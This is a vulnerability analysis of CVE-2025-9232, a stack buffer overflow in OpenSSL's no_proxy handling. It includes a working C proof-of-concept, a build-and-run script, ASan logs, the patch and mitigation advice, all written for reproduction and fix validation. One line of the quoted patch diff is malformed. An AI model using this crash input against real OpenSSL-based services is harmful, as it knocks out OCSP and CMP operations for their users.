CVE: CVE-2025-9232
Component: OpenSSL HTTP client (crypto/http/http_lib.c)
Tested releases: 3.4.0 (vulnerable) vs commit bbf38c034cdabd0a13330abcc4855c866f53d2e0 (fixed)
Date analysed: 2025-10-30
Analyst: Internal Product Security
CWE: CWE-125 (Out-of-Bounds Read)
OpenSSL’s HTTP client respects the no_proxy environment variable to decide whether to bypass a proxy for a given request. When the target host is an IPv6 literal wrapped in brackets, the function use_proxy() strips the brackets into a stack buffer sized for NI_MAXHOST. A malicious hostname of length NI_MAXHOST-1 causes the strncpy path to write a NUL terminator past the end of the stack buffer, triggering a stack-buffer-overflow during subsequent strstr() operations. Applications linking against the HTTP client APIs (including OCSP and CMP helpers) can therefore be crashed by attacker-supplied URLs whenever the user has no_proxy set. The upstream fix tightens the length check and guarantees the buffer is large enough.
This document contains everything required to reproduce the issue, demonstrate the crash, and validate the fix. No external files or tooling are assumed.
- Denial of service: A single crafted HTTP URL containing an overlong bracketed IPv6 literal (
[aaaa…]) causes OpenSSL-based clients to crash whenno_proxyis set, aborting critical operations such as OCSP checks or CMP enrolment. - Scope: Exploitation requires control over the HTTP endpoint or configuration passed into
OSSL_HTTP_transfer()/OSSL_HTTP_adapt_proxy()while the victim hasno_proxyconfigured. Attackers who can influence these inputs—e.g., via malicious configuration, phishing, or a compromised OCSP responder list—can knock out service availability. - Code execution: The observed primitive is an out-of-bounds read/write immediately followed by an abort under ASan. Real-world exploitability for RCE depends on stack layout and mitigations (stack canaries, FORTIFY) but was not pursued further here.
- Ubuntu 22.04 (aarch64) inside Lima instance
pruva-repro-20251030-103848-ac438d2a - Toolchain:
gcc,make,git,perl,python3,pkg-config - OpenSSL source cloned from
https://github.com/openssl/openssl.git
Install prerequisites:
sudo apt-get update
sudo apt-get install -y build-essential git perl python3 pkg-configWe use a self-contained C harness that:
- Builds a
no_proxyentry containing 1023acharacters (just belowNI_MAXHOST). - Constructs a bracketed IPv6 literal
"[aaaa...]". - Invokes
OSSL_HTTP_adapt_proxy("http://127.0.0.1:8080", no_proxy, server, 0).
The vulnerable implementation copies the hostname into a char host[NI_MAXHOST] buffer without checking that the bracketed form will drop the trailing ']'. The terminating NUL overflows the stack buffer and trips AddressSanitizer.
PoC source (tests/poc_openssl_http_no_proxy.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <openssl/http.h>
int main(void) {
size_t host_len = NI_MAXHOST - 1;
char *host_inner = malloc(host_len + 1);
char *server = malloc(host_len + 3);
char *no_proxy_buf = malloc(host_len + 1);
if (host_inner == NULL || server == NULL || no_proxy_buf == NULL) {
perror("malloc");
free(host_inner);
free(server);
free(no_proxy_buf);
return 1;
}
memset(host_inner, 'a', host_len);
host_inner[host_len] = '\0';
snprintf(server, host_len + 3, "[%s]", host_inner);
memcpy(no_proxy_buf, host_inner, host_len + 1);
setenv("no_proxy", no_proxy_buf, 1);
printf("Host length: %zu\n", host_len);
printf("First 64 chars of server: %.*s\n", 64, server);
const char *result = OSSL_HTTP_adapt_proxy(
"http://127.0.0.1:8080", no_proxy_buf, server, 0);
if (result != NULL)
printf("Proxy selected: %s\n", result);
else
printf("Proxy suppressed\n");
free(host_inner);
free(server);
free(no_proxy_buf);
return 0;
}This PoC is provided in tests/poc_openssl_http_no_proxy.c within this directory.
reproduction_steps.sh orchestrates both vulnerable and fixed builds:
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
BUILD_ROOT="$ROOT/build"
OPENSSL_SRC="$BUILD_ROOT/openssl"
POC_SRC="$ROOT/tests/poc_openssl_http_no_proxy.c"
POC_VULN_BIN="$BUILD_ROOT/poc_http_no_proxy_vuln"
POC_FIXED_BIN="$BUILD_ROOT/poc_http_no_proxy_fixed"
LOG_DIR="$BUILD_ROOT/logs"
mkdir -p "$BUILD_ROOT" "$LOG_DIR"
if [ ! -f "$POC_SRC" ]; then
echo "Missing PoC source at $POC_SRC" >&2
exit 1
fi
sudo apt-get update
sudo apt-get install -y build-essential git perl python3 pkg-config
if [ ! -d "$OPENSSL_SRC/.git" ]; then
rm -rf "$OPENSSL_SRC"
git clone https://github.com/openssl/openssl.git "$OPENSSL_SRC"
else
(cd "$OPENSSL_SRC" && git fetch --all --tags)
fi
build_variant() {
local checkout_ref="$1"
local output_bin="$2"
(cd "$OPENSSL_SRC" && \
git checkout --force "$checkout_ref" && \
git clean -fdx && \
CFLAGS='-g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address,undefined' \
./config --debug && \
make -j4 && \
gcc -Iinclude -I. -L. -Wl,-rpath,"$OPENSSL_SRC" -O0 -g \
-fsanitize=address,undefined -fno-omit-frame-pointer \
"$POC_SRC" -lssl -lcrypto -o "$output_bin")
}
run_harness_expect_crash() {
local binary="$1"
local log_path="$2"
set +e
(cd "$OPENSSL_SRC" && LD_LIBRARY_PATH="$OPENSSL_SRC" "$binary") \
>"$log_path" 2>&1
local status=$?
set -e
if [ "$status" -eq 0 ]; then
echo "Expected the vulnerable binary to crash, but it exited cleanly" >&2
echo "See $log_path for details" >&2
exit 1
fi
if ! grep -q "AddressSanitizer" "$log_path"; then
echo "ASan diagnostics not found in $log_path" >&2
exit 1
fi
}
run_harness_expect_success() {
local binary="$1"
local log_path="$2"
(cd "$OPENSSL_SRC" && LD_LIBRARY_PATH="$OPENSSL_SRC" "$binary") \
>"$log_path" 2>&1
}
VULN_LOG="$LOG_DIR/vulnerable.log"
FIXED_LOG="$LOG_DIR/fixed.log"
build_variant "openssl-3.4.0" "$POC_VULN_BIN"
run_harness_expect_crash "$POC_VULN_BIN" "$VULN_LOG"
build_variant "bbf38c034cdabd0a13330abcc4855c866f53d2e0" "$POC_FIXED_BIN"
run_harness_expect_success "$POC_FIXED_BIN" "$FIXED_LOG"
echo "Vulnerable run log: $VULN_LOG"
echo "Patched run log: $FIXED_LOG"The script installs prerequisites, clones OpenSSL (if necessary), builds both variants with ASan/UBSan instrumentation, runs the PoC against each, and writes logs under build/logs/.
Located in exploit_demo/:
tests/poc_openssl_http_no_proxy.c— PoC source.reproduction_steps.sh— automation script described above.artifacts/vuln_asan.log— raw ASan output from 3.4.0 showing the overflow.CVE-2025-9232-http-evidence.tgz— compressed bundle containing the above plus the script.
ASan excerpt (artifacts/vuln_asan.log):
=================================================================
==29610==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfd5fa71 at pc 0xffff83feb598 bp 0xffffcfd5f590 sp 0xffffcfd5ed68
READ of size 1027 at 0xffffcfd5fa71 thread T0
#0 0xffff83feb594 in StrstrCheck .../sanitizer_common_interceptors.inc:581
#1 0xffff820bb30c in use_proxy crypto/http/http_lib.c:283
#2 0xffff820bc8f8 in OSSL_HTTP_adapt_proxy crypto/http/http_lib.c:304
#3 0xaaaadc6d1714 in main CVE-2025-9232-openssl-http/tests/poc_openssl_http_no_proxy.c:31
...
Address 0xffffcfd5fa71 is located in stack of thread T0 at offset 1073 in frame
#0 0xffff820bb208 in use_proxy crypto/http/http_lib.c:258
This frame has 1 object(s):
[48, 1073) 'host' (line 261) <== Memory access at offset 1073 overflows this variable
Host length: 1024
First 64 chars of server: [aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Proxy selected: http://127.0.0.1:8080
The log confirms an overflow in host, the stack buffer used to store the de-bracketed IPv6 literal.
In vulnerable releases:
if (sl >= 2 && sl < sizeof(host) + 2 && server[0] == '[' && server[sl - 1] == ']') {
sl -= 2;
strncpy(host, server + 1, sl);
host[sl] = '\0';
server = host;
}When sl is NI_MAXHOST + 1 (brackets included), sl - 2 equals NI_MAXHOST - 1. The call to strncpy() writes NI_MAXHOST - 1 bytes, but the explicit host[sl] = '\0' writes one byte beyond the array. The fix reduces the copy length and ensures the destination size includes the terminator.
Patch snippet (bbf38c034cdabd0a13330abcc4855c866f53d2e0):
diff --git a/crypto/http/http_lib.c b/crypto/http/http_lib.c
@@ -257,8 +257,10 @@ static int use_proxy(const char *no_proxy, const char *server)
if (sl >= 2 && sl < sizeof(host) + 2 && server[0] == '[' && server[sl - 1] == ']') {
sl -= 2;
- strncpy(host, server + 1, sl);
- host[sl] = '\0';
+ if (sl >= sizeof(host))
return 0;
+ memcpy(host, server + 1, sl);
+ host[sl] = '\0';
server = host;
}- Victim runs an OpenSSL-based tool or library with
no_proxyconfigured (environment variable or application-level override). - Attacker supplies a URL containing a bracketed IPv6 literal exactly
NI_MAXHOST-1characters long (e.g., via configuration file, CMP enrolment data, or API input). - When the client resolves proxy usage, the crafted hostname overflows
host[]inuse_proxy(). - The process crashes, denying service (time-critical OCSP validation fails, CMP enrolment halts).
While remote code execution was not explored, the attacker fully controls the overflow size and contents, making further exploitation theoretically possible depending on stack protections.
- Upgrade OpenSSL to a release containing commit
bbf38c034cdabd0a13330abcc4855c866f53d2e0(and related fixes 2b4ec20e, 654dc11d, 7cf21a30, 89e790ac). - Restrict untrusted URLs: Vet any user-supplied OCSP/CMP endpoints or configuration files to ensure they do not contain adversary-controlled IPv6 literals.
- Sanitise environment: Avoid running security-critical services with arbitrary
no_proxyvalues absent validation.
OpenSSL 3.0.16–3.5.0 suffer a stack-buffer-overflow in the HTTP proxy bypass logic when handling bracketed IPv6 literals with no_proxy. The proof-of-concept and logs included here demonstrate the crash and confirm the upstream fix. Upgrading to the patched release is the recommended mitigation.